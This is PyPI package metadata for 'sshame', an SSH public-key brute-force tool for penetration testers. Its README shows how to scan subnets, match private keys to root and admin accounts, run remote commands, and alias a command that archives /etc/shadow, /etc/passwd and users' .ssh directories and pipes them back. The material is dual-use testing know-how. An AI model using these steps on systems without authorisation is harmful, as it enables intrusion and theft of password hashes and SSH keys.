{ "info": { "author": "Hynek Petrak", "author_email": "hynek.petrak@gmail.com", "bugtrack_url": null, "classifiers": [ "Development Status :: 4 - Beta", "Environment :: Console", "Intended Audience :: Other Audience", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Programming Language :: Python :: 3 :: Only", "Topic :: Security" ], "description": "![sshame logo](sshame.png)\n# sshame - Perfect tool to brute force SSH public-key authentication\nInteractive tool to brute force ssh public key authentication. Primarily intended for pentration testers. Sshame can execute commands on remote hosts.\n\n## Installing ##\n\n### Installing from Github ###\n\nClone the source from Github:\n\n git clone https://github.com/HynekPetrak/sshame.git\n cd shame\n\nThen in order to install run:\n\n sudo python3 setup.py install\n\nIn case you want to contribute instead of install run:\n\n sudo python3 setup.py develop\n\n### Installaling via PyPI ###\n\n`pip3` will install the latest release.\n\n pip3 install shame\n\n## Basic usage ##\n\nsshame is interactive, based on https://github.com/python-cmd2/cmd2\n\n # sshame\n (sshame)\n\nType help to get a list of commands:\n\n (sshame) help\n\n Documented commands (type help ):\n\n Sshame\n ======\n commands creds exploit hosts keys resolve session\n\n Uncategorized\n =============\n alias help macro py record run_script shell\n edit history playback quit run_pyscript set shortcuts\n\n\n### Add target hosts ###\n\nIn the sshame shell run `hosts -a list-of-ip-ranges-or-hosts [-p port]`:\n\n (sshame) hosts -a 10.0.0.0/24 -p 22\n Scanning 10.0.0.0/24 on port(s) 22\n ........***.............\n Received 877 packets, got 222 answers, remaining 34 packets\n 2019-08-25 19:22:15,633 sshame [I] 'Adding host (port open): 10.0.0.2 22'\n 2019-08-25 19:22:15,683 sshame [I] 'Adding host (port open): 10.0.0.1 22'\n 2019-08-25 19:22:15,686 sshame [I] 'Adding host (port open): 10.0.0.6 22'\n\n sshame will scan the given hosts with scapy and add those, which have the port open.\n\n To verify added hosts with TCP port open run `hosts -l`\n\n### Load ssh keys ###\n\n Load private keys with `keys -a glob_path [-p list-of-passwords]`\n\n (sshame) keys -a test/**/*key\n 2019-08-25 19:30:40,613 sshame [I] \"Adding ssh keys from: ['test/**/*key']\"\n 2019-08-25 19:30:40,614 sshame [I] \"Discovered 4 files in 'test/**/*key'.\"\n 2019-08-25 19:30:40,615 sshame [I] 'Going to examine 4 files.'\n 2019-08-25 19:30:40,635 sshame [I] 'Importing ssh-dss key: test/keys/dsa_key'\n 2019-08-25 19:30:40,645 sshame [I] 'Importing ssh-rsa key: test/keys/rsa_key'\n 2019-08-25 19:30:40,680 sshame [I] 'Importing ecdsa-sha2-nistp256 key: test/keys/ecdsa_key'\n 2019-08-25 19:30:40,693 sshame [I] 'Importing ssh-ed25519 key: test/keys/ed25519_key'\n Loaded 4 unique keys, ignoring 0 duplicates\n\n`-p list-of-passwords` is optional in case you load encrypted private keys protected with passwords.\n\nList loaded keys with `keys -l`\n\n### Test keys on hosts ###\n\nTo brute force which keys authenticates on which target run `test_keys -u list-of-users`:\n\n (sshame) test_keys -u root admin\n 2019-08-25 19:34:31,900 sshame [I] 'Preparing target jobs...'\n 2019-08-25 19:34:31,933 sshame [I] 'Matching keys - 16 jobs scheduled'\n Completed: [####################] [100.00%]\n 2019-08-25 19:34:56,857 sshame [I] '---------------------------------------------------------------------------'\n\nList matching keys with `creds -l`:\n\n (sshame) creds -l\n [1/1/1]: ssh -i test/keys/rsa_key root@10.0.0.2\n [2/2/1]: ssh -i test/keys/dsa_key admin@10.0.0.1\n\n### Run commands on remote hosts ###\n\nTo run commands on remote hosts use `run_cmd -c command`, e.g.:\n\n (sshame) run_cmd -c whoami\n 2019-08-25 23:28:22,757 sshame [I] 'Preparing target jobs...'\n 2019-08-25 23:28:22,763 sshame [I] 'Executing commands - 2 jobs scheduled'\n Completed: [####################] [100.00%]\n 2019-08-25 23:28:23,993 sshame [I] '---------------------------------------------------------------------------'\n\n### Show command results ###\n\nWith `commands -r` diplay the results:\n\n (sshame) commands -r\n Entries: 2\n\n | guid | host_address | host_port | username | cmd | exit_status | output | updated |\n |--------------------------------------+----------------+-------------+------------+----------------------+---------------+-----------------+---------------------|\n | 434f163a-24b5-4775-a3c1-6ea41745b18d | 10.0.0.2 | 22 | root | whoami | 0 | root | 2019-08-25 21:28:23 |\n | 305e3f5d-bf4d-4024-981a-59b2dddebbcd | 10.0.0.1 | 22 | admin | whoami | 0 | admin | 2019-08-25 21:28:23 |\n\n### Pipe remote commands to a local shell ###\n\nDefine an alias `get_files` for a remote command `tar -cf - /etc/passwd /etc/ldap.conf /etc/shadow /home/*/.ssh /etc/fstab | gzip | uuencode /dev/stdout; exit 0`\n and pipe it to a local `uudecode -o - |tar xzf -`, with:\n\n commands -a get_files \"tar -cf - /etc/passwd /etc/ldap.conf /etc/shadow /home/*/.ssh /etc/fstab | gzip | uuencode /dev/stdout; exit 0\" -p \"uudecode -o - |tar xzf -\"\n\n`exit 0` is to override tar's exit code in case of missing files.\n\nRun te defined command with:\n\n run_cmd -c get_files\n\nThe output you will find in the folder `output/_/username/...`\n\n\n### Session management ###\n\nYou may want to split wokloads into sessions. Use `session name` to switch between sessions. Default session is \ncalled 'default'.\n\nEach session has its data stored in a separate sqlite db in the current directory named after the session \nname, e.g. `default.db`\n\n (sshame) session test\n 2019-08-25 23:38:38,283 sshame [I] 'Openning session: sqlite:///test.db'\n\n### License ###\n\nMIT\n\n\n", "description_content_type": "text/markdown", "docs_url": null, "download_url": "https://github.com/hynek.petrak/sshame/tarball/master", "downloads": { "last_day": -1, "last_month": -1, "last_week": -1 }, "home_page": "https://github.com/hynek.petrak/sshame", "keywords": "", "license": "", "maintainer": "", "maintainer_email": "", "name": "sshame", "package_url": "https://pypi.org/project/sshame/", "platform": "Any", "project_url": "https://pypi.org/project/sshame/", "project_urls": { "Download": "https://github.com/hynek.petrak/sshame/tarball/master", "Homepage": "https://github.com/hynek.petrak/sshame" }, "release_url": "https://pypi.org/project/sshame/0.7/", "requires_dist": [ "asyncssh (>=1.15.1)", "cmd2 (>=0.9.15)", "colorama", "sqlalchemy", "scapy", "tabulate", "pyyaml", "pysubnettree" ], "requires_python": "", "summary": "SSH public key brute force tool", "version": "0.7" }, "last_serial": 5803892, "releases": { "0.5": [ { "comment_text": "", "digests": { "md5": "5f961519aa01b4b7547e2f80e0d6ae85", "sha256": "ed5c6b810ea0e73d5a00deaa4eeb405a872c037b2ebd0b051d116003e6fc35b7" }, "downloads": -1, "filename": "sshame-0.5-py3-none-any.whl", "has_sig": false, "md5_digest": "5f961519aa01b4b7547e2f80e0d6ae85", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 13550, "upload_time": "2019-08-26T13:46:23", "url": "https://files.pythonhosted.org/packages/ea/05/d336108b7ecba19640033a0251f0a60867c033c4bfa76c000dd27d5087b4/sshame-0.5-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "039705b72beb29e985ef0aba6dc792fd", "sha256": "3e5a03c97e8fa8cb47a521370e0170ba8762f5e337103ae8b73e0a1a5957cf6c" }, "downloads": -1, "filename": "sshame-0.5.tar.gz", "has_sig": false, "md5_digest": "039705b72beb29e985ef0aba6dc792fd", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 13932, "upload_time": "2019-08-26T13:46:26", "url": "https://files.pythonhosted.org/packages/ff/1e/1d10d064e2a0652581b8514a1c9db70ae2c7a2b718276eb0beee223dcd63/sshame-0.5.tar.gz" } ], "0.6": [ { "comment_text": "", "digests": { "md5": "8243c6c532bcd4d8f8d515ab61d5436e", "sha256": "af37f065dc650c4f493002cfa3c0f2b7ee10dc4351ded0f7b27f818f1170334f" }, "downloads": -1, "filename": "sshame-0.6-py3-none-any.whl", "has_sig": false, "md5_digest": "8243c6c532bcd4d8f8d515ab61d5436e", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 14254, "upload_time": "2019-09-03T11:14:34", "url": "https://files.pythonhosted.org/packages/bd/7f/785b6723044d5fb247338bdd32a766ce9ff7610bae1f3e0e845534c35edd/sshame-0.6-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "8129d2e3e8b0b54d242fc9f721b5dfe1", "sha256": "f995e4a3a5ff8cb11ad998284016baebb49e29d8931593ea4df7b376c137e63a" }, "downloads": -1, "filename": "sshame-0.6.tar.gz", "has_sig": false, "md5_digest": "8129d2e3e8b0b54d242fc9f721b5dfe1", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 14812, "upload_time": "2019-09-03T11:14:37", "url": "https://files.pythonhosted.org/packages/92/6d/1092d6a357fc052df2886881d29ddab345beccdaa9a53d5c9c5c9d7b7393/sshame-0.6.tar.gz" } ], "0.7": [ { "comment_text": "", "digests": { "md5": "24be5373ed4df40f01f67db5e10c0260", "sha256": "f513fc3302cb10eaead17a4c61f49a0338a30b7f241829473e85f57c4666207f" }, "downloads": -1, "filename": "sshame-0.7-py3-none-any.whl", "has_sig": false, "md5_digest": "24be5373ed4df40f01f67db5e10c0260", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 15264, "upload_time": "2019-09-09T14:31:39", "url": "https://files.pythonhosted.org/packages/e4/00/f1f2a8a050623799bd074596083fa676a03a203993611f6412254f1b5760/sshame-0.7-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "15df7abeb74d84dc4c97b4450044c662", "sha256": "e3a1c97104a7264f5429fc2d224b70a2fc3943bd807c5637576dc13af6da88c7" }, "downloads": -1, "filename": "sshame-0.7.tar.gz", "has_sig": false, "md5_digest": "15df7abeb74d84dc4c97b4450044c662", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 16000, "upload_time": "2019-09-09T14:31:43", "url": "https://files.pythonhosted.org/packages/6b/c0/c4d062480e565f305d1772af31a250b08bf09f6fc0ab64211a07036c16a6/sshame-0.7.tar.gz" } ] }, "urls": [ { "comment_text": "", "digests": { "md5": "24be5373ed4df40f01f67db5e10c0260", "sha256": "f513fc3302cb10eaead17a4c61f49a0338a30b7f241829473e85f57c4666207f" }, "downloads": -1, "filename": "sshame-0.7-py3-none-any.whl", "has_sig": false, "md5_digest": "24be5373ed4df40f01f67db5e10c0260", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 15264, "upload_time": "2019-09-09T14:31:39", "url": "https://files.pythonhosted.org/packages/e4/00/f1f2a8a050623799bd074596083fa676a03a203993611f6412254f1b5760/sshame-0.7-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "15df7abeb74d84dc4c97b4450044c662", "sha256": "e3a1c97104a7264f5429fc2d224b70a2fc3943bd807c5637576dc13af6da88c7" }, "downloads": -1, "filename": "sshame-0.7.tar.gz", "has_sig": false, "md5_digest": "15df7abeb74d84dc4c97b4450044c662", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 16000, "upload_time": "2019-09-09T14:31:43", "url": "https://files.pythonhosted.org/packages/6b/c0/c4d062480e565f305d1772af31a250b08bf09f6fc0ab64211a07036c16a6/sshame-0.7.tar.gz" } ] }